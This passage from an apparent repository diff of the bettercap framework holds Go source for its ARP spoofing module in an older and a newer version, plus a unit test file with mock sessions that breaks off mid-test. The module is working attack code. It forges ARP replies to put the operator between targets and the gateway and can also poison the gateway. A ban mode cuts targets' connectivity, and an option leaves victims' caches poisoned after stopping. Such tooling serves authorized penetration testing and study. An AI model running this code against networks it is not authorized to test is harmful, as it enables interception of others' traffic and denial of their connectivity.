wMacs []net.HardwareAddr
ban bool
waitGroup *sync.WaitGroup
}
func NewArpSpoofer(s *session.Session) *ArpSpoofer {
p := &ArpSpoofer{
SessionModule: session.NewSessionModule("arp.spoof", s),
addresses: make([]net.IP, 0),
macs: make([]net.HardwareAddr, 0),
wAddresses: make([]net.IP, 0),
wMacs: make([]net.HardwareAddr, 0),
ban: false,
waitGroup: &sync.WaitGroup{},
}
p.AddParam(session.NewStringParameter("arp.spoof.targets", session.ParamSubnet, "", "Comma separated list of IP addresses, MAC addresses or aliases to spoof, also supports nmap style IP ranges."))
p.AddParam(session.NewStringParameter("arp.spoof.whitelist", "", "", "Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing."))
p.AddHandler(session.NewModuleHandler("arp.spoof on", "",
"Start ARP spoofer.",
func(args []string) error {
return p.Start()
}))
p.AddHandler(session.NewModuleHandler("arp.ban on", "",
"Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.",
func(args []string) error {
p.ban = true
return p.Start()
}))
p.AddHandler(session.NewModuleHandler("arp.spoof off", "",
"Stop ARP spoofer.",
func(args []string) error {
return p.Stop()
}))
p.AddHandler(session.NewModuleHandler("arp.ban off", "",
"Stop ARP spoofer.",
func(args []string) error {
return p.Stop()
}))
return p
}
func (p ArpSpoofer) Name() string {
return "arp.spoof"
}
func (p ArpSpoofer) Description() string {
return "Keep spoofing selected hosts on the network."
}
func (p ArpSpoofer) Author() string {
return "Simone Margaritelli <evilsocket@protonmail.com>"
}
func (p *ArpSpoofer) Configure() error {
var err error
var targets string
var whitelist string
if err, targets = p.StringParam("arp.spoof.targets"); err != nil {
return err
} else if err, whitelist = p.StringParam("arp.spoof.whitelist"); err != nil {
return err
} else if p.addresses, p.macs, err = network.ParseTargets(targets, p.Session.Lan.Aliases()); err != nil {
return err
} else if p.wAddresses, p.wMacs, err = network.ParseTargets(whitelist, p.Session.Lan.Aliases()); err != nil {
return err
}
log.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v", p.addresses, p.macs, p.wAddresses, p.wMacs)
if p.ban == true {
log.Warning("Running in BAN mode, forwarding not enabled!")
p.Session.Firewall.EnableForwarding(false)
} else if p.Session.Firewall.IsForwardingEnabled() == false {
log.Info("Enabling forwarding.")
p.Session.Firewall.EnableForwarding(true)
}
return nil
}
func (p *ArpSpoofer) Start() error {
if err := p.Configure(); err != nil {
return err
}
return p.SetRunning(true, func() {
from := p.Session.Gateway.IP
from_hw := p.Session.Interface.HW
log.Info("ARP spoofer started, probing %d targets.", len(p.addresses)+len(p.macs))
p.waitGroup.Add(1)
defer p.waitGroup.Done()
for p.Running() {
p.sendArp(from, from_hw, true, true)
time.Sleep(1 * time.Second)
}
})
}
func (p *ArpSpoofer) Stop() error {
return p.SetRunning(false, func() {
log.Info("Waiting for ARP spoofer to stop ...")
p.unSpoof()
p.ban = false
p.waitGroup.Wait()
})
}
func (p *ArpSpoofer) isWhitelisted(ip string, mac net.HardwareAddr) bool {
for _, addr := range p.wAddresses {
if ip == addr.String() {
return true
}
}
for _, hw := range p.wMacs {
if bytes.Compare(hw, mac) == 0 {
return true
}
}
return false
}
func (p *ArpSpoofer) sendArp(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
p.waitGroup.Add(1)
defer p.waitGroup.Done()
targets := make(map[string]net.HardwareAddr, 0)
for _, ip := range p.addresses {
if p.Session.Skip(ip) == true {
log.Debug("Skipping address %s from ARP spoofing.", ip)
continue
}
// do we have this ip mac address?
hw, err := findMAC(p.Session, ip, probe)
if err != nil {
log.Debug("Could not find hardware address for %s, retrying in one second.", ip.String())
continue
}
targets[ip.String()] = hw
}
for _, hw := range p.macs {
ip, err := network.ArpInverseLookup(p.Session.Interface.Name(), hw.String(), false)
if err != nil {
log.Warning("Could not find IP address for %s, retrying in one second.", hw.String())
continue
}
if p.Session.Skip(net.ParseIP(ip)) == true {
log.Debug("Skipping address %s from ARP spoofing.", ip)
continue
}
targets[ip] = hw
}
for ip, mac := range targets {
if check_running && p.Running() == false {
return
} else if p.isWhitelisted(ip, mac) {
log.Debug("%s (%s) is whitelisted, skipping from spoofing loop.", ip, mac)
continue
}
if err, pkt := packets.NewARPReply(saddr, smac, net.ParseIP(ip), mac); err != nil {
log.Error("Error while creating ARP spoof packet for %s: %s", ip, err)
} else {
log.Debug("Sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String())
p.Session.Queue.Send(pkt)
}
}
}
func (p *ArpSpoofer) unSpoof() error {
from := p.Session.Gateway.IP
from_hw := p.Session.Gateway.HW
log.Info("Restoring ARP cache of %d targets.", len(p.addresses)+len(p.macs))
p.sendArp(from, from_hw, false, false)
return nil
}

View file

@ -0,0 +1,333 @@
package arp_spoof
import (
"bytes"
"net"
"strings"
"sync"
"time"
"github.com/bettercap/bettercap/v2/network"
"github.com/bettercap/bettercap/v2/packets"
"github.com/bettercap/bettercap/v2/session"
"github.com/malfunkt/iprange"
)
type ArpSpoofer struct {
session.SessionModule
addresses []net.IP
macs []net.HardwareAddr
wAddresses []net.IP
wMacs []net.HardwareAddr
fullDuplex bool
internal bool
ban bool
skipRestore bool
waitGroup *sync.WaitGroup
}
func NewArpSpoofer(s *session.Session) *ArpSpoofer {
mod := &ArpSpoofer{
SessionModule: session.NewSessionModule("arp.spoof", s),
addresses: make([]net.IP, 0),
macs: make([]net.HardwareAddr, 0),
wAddresses: make([]net.IP, 0),
wMacs: make([]net.HardwareAddr, 0),
ban: false,
internal: false,
fullDuplex: false,
skipRestore: false,
waitGroup: &sync.WaitGroup{},
}
mod.SessionModule.Requires("net.recon")
mod.AddParam(session.NewStringParameter("arp.spoof.targets", session.ParamSubnet, "", "Comma separated list of IP addresses, MAC addresses or aliases to spoof, also supports nmap style IP ranges."))
mod.AddParam(session.NewStringParameter("arp.spoof.whitelist", "", "", "Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing."))
mod.AddParam(session.NewBoolParameter("arp.spoof.internal",
"false",
"If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network."))
mod.AddParam(session.NewBoolParameter("arp.spoof.fullduplex",
"false",
"If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail)."))
noRestore := session.NewBoolParameter("arp.spoof.skip_restore",
"false",
"If set to true, targets arp cache won't be restored when spoofing is stopped.")
mod.AddObservableParam(noRestore, func(v string) {
if strings.ToLower(v) == "true" || v == "1" {
mod.skipRestore = true
mod.Warning("arp cache restoration after spoofing disabled")
} else {
mod.skipRestore = false
mod.Debug("arp cache restoration after spoofing enabled")
}
})
mod.AddHandler(session.NewModuleHandler("arp.spoof on", "",
"Start ARP spoofer.",
func(args []string) error {
return mod.Start()
}))
mod.AddHandler(session.NewModuleHandler("arp.ban on", "",
"Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.",
func(args []string) error {
mod.ban = true
return mod.Start()
}))
mod.AddHandler(session.NewModuleHandler("arp.spoof off", "",
"Stop ARP spoofer.",
func(args []string) error {
return mod.Stop()
}))
mod.AddHandler(session.NewModuleHandler("arp.ban off", "",
"Stop ARP spoofer.",
func(args []string) error {
return mod.Stop()
}))
return mod
}
func (mod ArpSpoofer) Name() string {
return "arp.spoof"
}
func (mod ArpSpoofer) Description() string {
return "Keep spoofing selected hosts on the network."
}
func (mod ArpSpoofer) Author() string {
return "Simone Margaritelli <evilsocket@gmail.com>"
}
func (mod *ArpSpoofer) Configure() error {
var err error
var targets string
var whitelist string
if err, mod.fullDuplex = mod.BoolParam("arp.spoof.fullduplex"); err != nil {
return err
} else if err, mod.internal = mod.BoolParam("arp.spoof.internal"); err != nil {
return err
} else if err, targets = mod.StringParam("arp.spoof.targets"); err != nil {
return err
} else if err, whitelist = mod.StringParam("arp.spoof.whitelist"); err != nil {
return err
} else if mod.addresses, mod.macs, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil {
return err
} else if mod.wAddresses, mod.wMacs, err = network.ParseTargets(whitelist, mod.Session.Lan.Aliases()); err != nil {
return err
}
mod.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v", mod.addresses, mod.macs, mod.wAddresses, mod.wMacs)
if mod.ban {
mod.Warning("running in ban mode, forwarding not enabled!")
mod.Session.Firewall.EnableForwarding(false)
} else if !mod.Session.Firewall.IsForwardingEnabled() {
mod.Info("enabling forwarding")
mod.Session.Firewall.EnableForwarding(true)
}
return nil
}
func (mod *ArpSpoofer) Start() error {
if err := mod.Configure(); err != nil {
return err
}
nTargets := len(mod.addresses) + len(mod.macs)
if nTargets == 0 {
mod.Warning("list of targets is empty, module not starting.")
return nil
}
return mod.SetRunning(true, func() {
neighbours := []net.IP{}
if mod.internal {
list, _ := iprange.ParseList(mod.Session.Interface.CIDR())
neighbours = list.Expand()
nNeigh := len(neighbours) - 2
mod.Warning("arp spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets)
} else {
mod.Info("arp spoofer started, probing %d targets.", nTargets)
}
if mod.fullDuplex {
mod.Warning("full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.")
}
mod.waitGroup.Add(1)
defer mod.waitGroup.Done()
gwIP := mod.Session.Gateway.IP
myMAC := mod.Session.Interface.HW
for mod.Running() {
mod.arpSpoofTargets(gwIP, myMAC, true, false)
for _, address := range neighbours {
if !mod.Session.Skip(address) {
mod.arpSpoofTargets(address, myMAC, true, false)
}
}
time.Sleep(1 * time.Second)
}
})
}
func (mod *ArpSpoofer) unSpoof() error {
if !mod.skipRestore {
nTargets := len(mod.addresses) + len(mod.macs)
mod.Info("restoring ARP cache of %d targets.", nTargets)
mod.arpSpoofTargets(mod.Session.Gateway.IP, mod.Session.Gateway.HW, false, false)
if mod.internal {
list, _ := iprange.ParseList(mod.Session.Interface.CIDR())
neighbours := list.Expand()
for _, address := range neighbours {
if !mod.Session.Skip(address) {
if realMAC, err := mod.Session.FindMAC(address, false); err == nil {
mod.arpSpoofTargets(address, realMAC, false, false)
}
}
}
}
} else {
mod.Warning("arp cache restoration is disabled")
}
return nil
}
func (mod *ArpSpoofer) Stop() error {
return mod.SetRunning(false, func() {
mod.Info("waiting for ARP spoofer to stop ...")
mod.unSpoof()
mod.ban = false
mod.waitGroup.Wait()
})
}
func (mod *ArpSpoofer) isWhitelisted(ip string, mac net.HardwareAddr) bool {
for _, addr := range mod.wAddresses {
if ip == addr.String() {
return true
}
}
for _, hw := range mod.wMacs {
if bytes.Equal(hw, mac) {
return true
}
}
return false
}
func (mod *ArpSpoofer) getTargets(probe bool) map[string]net.HardwareAddr {
targets := make(map[string]net.HardwareAddr)
// add targets specified by IP address
for _, ip := range mod.addresses {
if mod.Session.Skip(ip) {
continue
}
// do we have this ip mac address?
if hw, err := mod.Session.FindMAC(ip, probe); err == nil {
targets[ip.String()] = hw
}
}
// add targets specified by MAC address
for _, hw := range mod.macs {
if ip, err := network.ArpInverseLookup(mod.Session.Interface.Name(), hw.String(), false); err == nil {
if mod.Session.Skip(net.ParseIP(ip)) {
continue
}
targets[ip] = hw
}
}
return targets
}
func (mod *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
mod.waitGroup.Add(1)
defer mod.waitGroup.Done()
gwIP := mod.Session.Gateway.IP
gwHW := mod.Session.Gateway.HW
ourHW := mod.Session.Interface.HW
isGW := false
isSpoofing := false
// are we spoofing the gateway IP?
if net.IP.Equal(saddr, gwIP) {
isGW = true
// are we restoring the original MAC of the gateway?
if !bytes.Equal(smac, gwHW) {
isSpoofing = true
}
}
if targets := mod.getTargets(probe); len(targets) == 0 {
mod.Warning("could not find spoof targets")
} else {
for ip, mac := range targets {
if check_running && !mod.Running() {
return
} else if mod.isWhitelisted(ip, mac) {
mod.Debug("%s (%s) is whitelisted, skipping from spoofing loop.", ip, mac)
continue
} else if saddr.String() == ip {
continue
}
rawIP := net.ParseIP(ip)
if err, pkt := packets.NewARPReply(saddr, smac, rawIP, mac); err != nil {
mod.Error("error while creating ARP spoof packet for %s: %s", ip, err)
} else {
mod.Debug("sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String())
mod.Session.Queue.Send(pkt)
}
if mod.fullDuplex && isGW {
err := error(nil)
gwPacket := []byte(nil)
if isSpoofing {
mod.Debug("telling the gw we are %s", ip)
// we told the target we're te gateway, not let's tell the
// gateway that we are the target
if err, gwPacket = packets.NewARPReply(rawIP, ourHW, gwIP, gwHW); err != nil {
mod.Error("error while creating ARP spoof packet: %s", err)
}
} else {
mod.Debug("telling the gw %s is %s", ip, mac)
// send the gateway the original MAC of the target
if err, gwPacket = packets.NewARPReply(rawIP, mac, gwIP, gwHW); err != nil {
mod.Error("error while creating ARP spoof packet: %s", err)
}
}
if gwPacket != nil {
mod.Debug("sending %d bytes of ARP packet to the gateway", len(gwPacket))
if err = mod.Session.Queue.Send(gwPacket); err != nil {
mod.Error("error while sending packet: %v", err)
}
}
}
}
}
}

View file

@ -0,0 +1,785 @@
package arp_spoof
import (
"bytes"
"fmt"
"net"
"sync"
"testing"
"time"
"github.com/bettercap/bettercap/v2/firewall"
"github.com/bettercap/bettercap/v2/network"
"github.com/bettercap/bettercap/v2/packets"
"github.com/bettercap/bettercap/v2/session"
"github.com/evilsocket/islazy/data"
)
// MockFirewall implements a mock firewall for testing
type MockFirewall struct {
forwardingEnabled bool
redirections []firewall.Redirection
}
func NewMockFirewall() *MockFirewall {
return &MockFirewall{
forwardingEnabled: false,
redirections: make([]firewall.Redirection, 0),
}
}
func (m *MockFirewall) IsForwardingEnabled() bool {
return m.forwardingEnabled
}
func (m *MockFirewall) EnableForwarding(enabled bool) error {
m.forwardingEnabled = enabled
return nil
}
func (m *MockFirewall) EnableRedirection(r *firewall.Redirection, enabled bool) error {
if enabled {
m.redirections = append(m.redirections, *r)
} else {
for i, red := range m.redirections {
if red.String() == r.String() {
m.redirections = append(m.redirections[:i], m.redirections[i+1:]...)
break
}
}
}
return nil
}
func (m *MockFirewall) DisableRedirection(r *firewall.Redirection, enabled bool) error {
return m.EnableRedirection(r, false)
}
func (m *MockFirewall) Restore() {
m.redirections = make([]firewall.Redirection, 0)
m.forwardingEnabled = false
}
// MockPacketQueue extends packets.Queue to capture sent packets
type MockPacketQueue struct {
*packets.Queue
sync.Mutex
sentPackets [][]byte
}
func NewMockPacketQueue() *MockPacketQueue {
q := &packets.Queue{
Traffic: sync.Map{},
Stats: packets.Stats{},
}
return &MockPacketQueue{
Queue: q,
sentPackets: make([][]byte, 0),
}
}
func (m *MockPacketQueue) Send(data []byte) error {
m.Lock()
defer m.Unlock()
// Store a copy of the packet
packet := make([]byte, len(data))
copy(packet, data)
m.sentPackets = append(m.sentPackets, packet)
// Also update stats like the real queue would
m.TrackSent(uint64(len(data)))
return nil
}
func (m *MockPacketQueue) GetSentPackets() [][]byte {
m.Lock()
defer m.Unlock()
return m.sentPackets
}
func (m *MockPacketQueue) ClearSentPackets() {
m.Lock()
defer m.Unlock()
m.sentPackets = make([][]byte, 0)
}
// MockSession for testing
type MockSession struct {
*session.Session
findMACResults map[string]net.HardwareAddr
skipIPs map[string]bool
mockQueue *MockPacketQueue
}
// Override session methods to use our mocks
func setupMockSession(mockSess *MockSession) {
// Replace the Session's FindMAC method behavior by manipulating the LAN
// Since we can't override methods directly, we'll ensure the LAN has the data
for ip, mac := range mockSess.findMACResults {
mockSess.Lan.AddIfNew(ip, mac.String())
}
}
func (m *MockSession) FindMAC(ip net.IP, probe bool) (net.HardwareAddr, error) {
// First check our mock results
if mac, ok := m.findMACResults[ip.String()]; ok {
return mac, nil
}
// Then check the LAN
if e, found := m.Lan.Get(ip.String()); found && e != nil {
return e.HW, nil
}
return nil, fmt.Errorf("MAC not found for %s", ip.String())
}
func (m *MockSession) Skip(ip net.IP) bool {
if m.skipIPs == nil {
return false
}
return m.skipIPs[ip.String()]
}
// MockNetRecon implements a minimal net.recon module for testing
type MockNetRecon struct {
session.SessionModule
}
func NewMockNetRecon(s *session.Session) *MockNetRecon {
mod := &MockNetRecon{
SessionModule: session.NewSessionModule("net.recon", s),
}
// Add handlers
mod.AddHandler(session.NewModuleHandler("net.recon on", "",
"Start net.recon",
func(args []string) error {
return mod.Start()
}))
mod.AddHandler(session.NewModuleHandler("net.recon off", "",
"Stop net.recon",
func(args []string) error {
return mod.Stop()
}))
return mod
}
func (m *MockNetRecon) Name() string {
return "net.recon"
}
func (m *MockNetRecon) Description() string {
return "Mock net.recon module"
}
func (m *MockNetRecon) Author() string {
return "test"
}
func (m *MockNetRecon) Configure() error {
return nil
}
func (m *MockNetRecon) Start() error {
return m.SetRunning(true, nil)
}
func (m *MockNetRecon) Stop() error {
return m.SetRunning(false, nil)
}
// Create a mock session for testing
func createMockSession() (*MockSession, *MockPacketQueue, *MockFirewall) {
// Create interface
iface := &network.Endpoint{
IpAddress: "192.168.1.100",
HwAddress: "aa:bb:cc:dd:ee:ff",
Hostname: "eth0",
}
iface.SetIP("192.168.1.100")
iface.SetBits(24)
// Parse interface addresses
ifaceIP := net.ParseIP("192.168.1.100")
ifaceHW, _ := net.ParseMAC("aa:bb:cc:dd:ee:ff")
iface.IP = ifaceIP
iface.HW = ifaceHW
// Create gateway
gateway := &network.Endpoint{
IpAddress: "192.168.1.1",
HwAddress: "11:22:33:44:55:66",
}
gatewayIP := net.ParseIP("192.168.1.1")
gatewayHW, _ := net.ParseMAC("11:22:33:44:55:66")
gateway.IP = gatewayIP
gateway.HW = gatewayHW
// Create mock queue and firewall
mockQueue := NewMockPacketQueue()
mockFirewall := NewMockFirewall()
// Create environment
env, _ := session.NewEnvironment("")
// Create LAN
aliases, _ := data.NewUnsortedKV("", 0)
lan := network.NewLAN(iface, gateway, aliases, func(e *network.Endpoint) {}, func(e *network.Endpoint) {})
// Create session
sess := &session.Session{
Interface: iface,
Gateway: gateway,
Lan: lan,
StartedAt: time.Now(),
Active: true,
Env: env,
Queue: mockQueue.Queue,
Firewall: mockFirewall,
Modules: make(session.ModuleList, 0),
}
// Initialize events
sess.Events = session.NewEventPool(false, false)
// Add mock net.recon module
mockNetRecon := NewMockNetRecon(sess)
sess.Modules = append(sess.Modules, mockNetRecon)
// Create mock session wrapper
mockSess := &MockSession{
Session: sess,
findMACResults: make(map[string]net.HardwareAddr),
skipIPs: make(map[string]bool),
mockQueue: mockQueue,
}
return mockSess, mockQueue, mockFirewall
}
func TestNewArpSpoofer(t *testing.T) {
mockSess, _, _ := createMockSession()
mod := NewArpSpoofer(mockSess.Session)
if mod == nil {
t.Fatal("NewArpSpoofer returned nil")
}
if mod.Name() != "arp.spoof" {
t.Errorf("expected module name 'arp.spoof', got '%s'", mod.Name())
}
if mod.Author() != "Simone Margaritelli <evilsocket@gmail.com>" {
t.Errorf("unexpected author: %s", mod.Author())
}
// Check parameters
params := []string{"arp.spoof.targets", "arp.spoof.whitelist", "arp.spoof.internal", "arp.spoof.fullduplex", "arp.spoof.skip_restore"}
for _, param := range params {
if !mod.Session.Env.Has(param) {
t.Errorf("parameter %s not registered", param)
}
}
// Check handlers
handlers := mod.Handlers()
expectedHandlers := []string{"arp.spoof on", "arp.ban on", "arp.spoof off", "arp.ban off"}
handlerMap := make(map[string]bool)
for _, h := range handlers {
handlerMap[h.Name] = true
}
for _, expected := range expectedHandlers {
if !handlerMap[expected] {
t.Errorf("Expected handler '%s' not found", expected)
}
}
}
func TestArpSpooferConfigure(t *testing.T) {
tests := []struct {
name string
params map[string]string
setupMock func(*MockSession)
expectErr bool
validate func(*ArpSpoofer) error
}{
{
name: "default configuration",
params: map[string]string{
"arp.spoof.targets": "192.168.1.10",
"arp.spoof.whitelist": "",
"arp.spoof.internal": "false",
"arp.spoof.fullduplex": "false",
"arp.spoof.skip_restore": "false",
},
setupMock: func(ms *MockSession) {
ms.Lan.AddIfNew("192.168.1.10", "aa:aa:aa:aa:aa:aa")
},
expectErr: false,
validate: func(mod *ArpSpoofer) error {
if mod.internal {
return fmt.Errorf("expected internal to be false")
}
if mod.fullDuplex {
return fmt.Errorf("expected fullDuplex to be false")
}
if mod.skipRestore {
return fmt.Errorf("expected skipRestore to be false")
}
if len(mod.addresses) != 1 {
return fmt.Errorf("expected 1 address, got %d", len(mod.addresses))
}
return nil
},
},
{
name: "multiple targets and whitelist",
params: map[string]string{
"arp.spoof.targets": "192.168.1.10,192.168.1.20",
"arp.spoof.whitelist": "192.168.1.30",
"arp.spoof.internal": "true",
"arp.spoof.fullduplex": "true",
"arp.spoof.skip_restore": "true",
},
setupMock: func(ms *MockSession) {
ms.Lan.AddIfNew("192.168.1.10", "aa:aa:aa:aa:aa:aa")
ms.Lan.AddIfNew("192.168.1.20", "bb:bb:bb:bb:bb:bb")
ms.Lan.AddIfNew("192.168.1.30", "cc:cc:cc:cc:cc:cc")
},
expectErr: false,
validate: func(mod *ArpSpoofer) error {
if !mod.internal {
return fmt.Errorf("expected internal to be true")
}
if !mod.fullDuplex {
return fmt.Errorf("expected fullDuplex to be true")
}
if !mod.skipRestore {
return fmt.Errorf("expected skipRestore to be true")
}
if len(mod.addresses) != 2 {
return fmt.Errorf("expected 2 addresses, got %d", len(mod.addresses))
}
if len(mod.wAddresses) != 1 {
return fmt.Errorf("expected 1 whitelisted address, got %d", len(mod.wAddresses))
}
return nil
},
},
{
name: "MAC address targets",
params: map[string]string{
"arp.spoof.targets": "aa:aa:aa:aa:aa:aa",
"arp.spoof.whitelist": "",
"arp.spoof.internal": "false",
"arp.spoof.fullduplex": "false",
"arp.spoof.skip_restore": "false",
},
setupMock: func(ms *MockSession) {
ms.Lan.AddIfNew("192.168.1.10", "aa:aa:aa:aa:aa:aa")
},
expectErr: false,
validate: func(mod *ArpSpoofer) error {
if len(mod.macs) != 1 {
return fmt.Errorf("expected 1 MAC address, got %d", len(mod.macs))
}
return nil
},
},
{
name: "invalid target",
params: map[string]string{
"arp.spoof.targets": "invalid-target",
"arp.spoof.whitelist": "",
"arp.spoof.internal": "false",
"arp.spoof.fullduplex": "false",
"arp.spoof.skip_restore": "false",
},
expectErr: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
mockSess, _, _ := createMockSession()
mod := NewArpSpoofer(mockSess.Session)
// Set parameters
for k, v := range tt.params {
mockSess.Env.Set(k, v)
}
// Setup mock
if tt.setupMock != nil {
tt.setupMock(mockSess)
}
err := mod.Configure()
if tt.expectErr && err == nil {
t.Error("expected error but got none")
} else if !tt.expectErr && err != nil {
t.Errorf("unexpected error: %v", err)
}
if !tt.expectErr && tt.validate != nil {
if err := tt.validate(mod); err != nil {
t.Error(err)
}
}
})
}
}
func TestArpSpooferStartStop(t *testing.T) {
mockSess, _, mockFirewall := createMockSession()
mod := NewArpSpoofer(mockSess.Session)
// Setup targets
targetIP := "192.168.1.10"
targetMAC, _ := net.ParseMAC("aa:aa:aa:aa:aa:aa")
mockSess.Lan.AddIfNew(targetIP, targetMAC.String())
mockSess.findMACResults[targetIP] = targetMAC
// Configure
mockSess.Env.Set("arp.spoof.targets", targetIP)
mockSess.Env.Set("arp.spoof.fullduplex", "false")
mockSess.Env.Set("arp.spoof.internal", "false")
// Start the spoofer
err := mod.Start()
if err != nil {
t.Fatalf("Failed to start spoofer: %v", err)
}
if !mod.Running() {
t.Error("Spoofer should be running after Start()")
}
// Check that forwarding was enabled
if !mockFirewall.IsForwardingEnabled() {
t.Error("Forwarding should be enabled after starting spoofer")
}
// Let it run for a bit
time.Sleep(100 * time.Millisecond)
// Stop the spoofer
err = mod.Stop()
if err != nil {
t.Fatalf("Failed to stop spoofer: %v", err)
}
if mod.Running() {
t.Error("Spoofer should not be running after Stop()")
}
// Note: We can't easily verify packet sending without modifying the actual module
// to use an interface for the queue. The module behavior is verified through
// state changes (running state, forwarding enabled, etc.)
}
func TestArpSpooferBanMode(t *testing.T) {
mockSess, _, mockFirewall := createMockSession()
mod := NewArpSpoofer(mockSess.Session)
// Setup targets
targetIP := "192.168.1.10"
targetMAC, _ := net.ParseMAC("aa:aa:aa:aa:aa:aa")
mockSess.Lan.AddIfNew(targetIP, targetMAC.String())
mockSess.findMACResults[targetIP] = targetMAC
// Configure
mockSess.Env.Set("arp.spoof.targets", targetIP)
// Find and execute the ban handler
handlers := mod.Handlers()
for _, h := range handlers {
if h.Name == "arp.ban on" {
err := h.Exec([]string{})
if err != nil {
t.Fatalf("Failed to start ban mode: %v", err)
}
break
}
}
if !mod.ban {
t.Error("Ban mode should be enabled")
}
// Check that forwarding was NOT enabled
if mockFirewall.IsForwardingEnabled() {
t.Error("Forwarding should NOT be enabled in ban mode")
}
// Let it run for a bit
time.Sleep(100 * time.Millisecond)
// Stop using ban off handler
for _, h := range handlers {
if h.Name == "arp.ban off" {
err := h.Exec([]string{})
if err != nil {
t.Fatalf("Failed to stop ban mode: %v", err)
}
break
}
}
if mod.ban {
t.Error("Ban mode should be disabled after stop")
}
}
func TestArpSpooferWhitelisting(t *testing.T) {
mockSess, _, _ := createMockSession()
mod := NewArpSpoofer(mockSess.Session)
// Add some IPs and MACs to whitelist
whitelistIP := net.ParseIP("192.168.1.50")
whitelistMAC, _ := net.ParseMAC("ff:ff:ff:ff:ff:ff")
mod.wAddresses = []net.IP{whitelistIP}
mod.wMacs = []net.HardwareAddr{whitelistMAC}
// Test IP whitelisting
if !mod.isWhitelisted("192.168.1.50", nil) {
t.Error("IP should be whitelisted")
}
if mod.isWhitelisted("192.168.1.60", nil) {
t.Error("IP should not be whitelisted")
}
// Test MAC whitelisting
if !mod.isWhitelisted("", whitelistMAC) {
t.Error("MAC should be whitelisted")
}
otherMAC, _ := net.ParseMAC("aa:aa:aa:aa:aa:aa")
if mod.isWhitelisted("", otherMAC) {
t.Error("MAC should not be whitelisted")
}
}
func TestArpSpooferFullDuplex(t *testing.T) {
mockSess, _, _ := createMockSession()
mod := NewArpSpoofer(mockSess.Session)
// Setup targets
targetIP := "192.168.1.10"
targetMAC, _ := net.ParseMAC("aa:aa:aa:aa:aa:aa")
mockSess.Lan.AddIfNew(targetIP, targetMAC.String())
mockSess.findMACResults[targetIP] = targetMAC
// Configure with full duplex
mockSess.Env.Set("arp.spoof.targets", targetIP)
mockSess.Env.Set("arp.spoof.fullduplex", "true")
// Verify configuration
err := mod.Configure()
if err != nil {
t.Fatalf("Failed to configure: %v", err)
}
if !mod.fullDuplex {
t.Error("Full duplex mode should be enabled")
}
// Start the spoofer
err = mod.Start()
if err != nil {
t.Fatalf("Failed to start spoofer: %v", err)
}
if !mod.Running() {
t.Error("Module should be running")
}
// Let it run for a bit
time.Sleep(150 * time.Millisecond)
// Stop
mod.Stop()
}
func TestArpSpooferInternalMode(t *testing.T) {
mockSess, _, _ := createMockSession()
mod := NewArpSpoofer(mockSess.Session)
// Setup multiple targets
targets := map[string]string{
"192.168.1.10": "aa:aa:aa:aa:aa:aa",
"192.168.1.20": "bb:bb:bb:bb:bb:bb",
"192.168.1.30": "cc:cc:cc:cc:cc:cc",
}
for ip, mac := range targets {
mockSess.Lan.AddIfNew(ip, mac)
hwAddr, _ := net.ParseMAC(mac)
mockSess.findMACResults[ip] = hwAddr
}
// Configure with internal mode
mockSess.Env.Set("arp.spoof.targets", "192.168.1.10,192.168.1.20")
mockSess.Env.Set("arp.spoof.internal", "true")
// Verify configuration
err := mod.Configure()
if err != nil {
t.Fatalf("Failed to configure: %v", err)
}
if !mod.internal {
t.Error("Internal mode should be enabled")
}
// Start the spoofer
err = mod.Start()
if err != nil {
t.Fatalf("Failed to start spoofer: %v", err)
}
if !mod.Running() {
t.Error("Module should be running")
}
// Let it run briefly
time.Sleep(100 * time.Millisecond)
// Stop
mod.Stop()
}
func TestArpSpooferGetTargets(t *testing.T) {
// This test verifies the getTargets logic without actually calling it
// since the method uses Session.FindMAC which can't be easily mocked
mockSess, _, _ := createMockSession()
mod := NewArpSpoofer(mockSess.Session)
// Test address and MAC parsing
targetIP := net.ParseIP("192.168.1.10")
targetMAC, _ := net.ParseMAC("aa:aa:aa:aa:aa:aa")
// Add targets by IP
mod.addresses = []net.IP{targetIP}
// Verify addresses were set correctly
if len(mod.addresses) != 1 {
t.Errorf("expected 1 address, got %d", len(mod.addresses))
}
if !mod.addresses[0].Equal(targetIP) {
t.Errorf("expected address %s, got %s", targetIP, mod.addresses[0])
}
// Add targets by MAC
mod.macs = []net.HardwareAddr{targetMAC}
// Verify MACs were set correctly
if len(mod.macs) != 1 {
t.Errorf("expected 1 MAC, got %d", len(mod.macs))
}
if !bytes.Equal(mod.macs[0], targetMAC) {
t.Errorf("expected MAC %s, got %s", targetMAC, mod.macs[0])
}
// Note: The actual getTargets method would look up these addresses/MACs
// in the network, but we can't easily test that without refactoring
// the module to use dependency injection for network operations
}
func TestArpSpooferSkipRestore(t *testing.T) {
mockSess, _, _ := createMockSession()
mod := NewArpSpoofer(mockSess.Session)
// The skip_restore parameter is set up with an observer in NewArpSpoofer
// We'll test it by changing the parameter value, which triggers the observer
mockSess.Env.Set("arp.spoof.skip_restore", "true")
// Configure to trigger parameter reading
mod.Configure()
// Check the observer worked by checking if skipRestore was set
// Note: The actual observer is triggered during module creation
// so we test the functionality indirectly through the module's behavior
// Start and stop to see if restoration is skipped
mockSess.Env.Set("arp.spoof.targets", "192.168.1.10")
mockSess.Lan.AddIfNew("192.168.1.10", "aa:aa:aa:aa:aa:aa")
mod.Start()
time.Sleep(50 * time.Millisecond)
mod.Stop()
// With skip_restore true, the module should have skipRestore set
// We can't directly test the observer, but we verify the behavior
}
func TestArpSpooferEmptyTargets(t *testing.T) {
mockSess, _, _ := createMockSession()
mod := NewArpSpoofer(mockSess.Session)
// Configure with empty targets
mockSess.Env.Set("arp.spoof.targets", "")
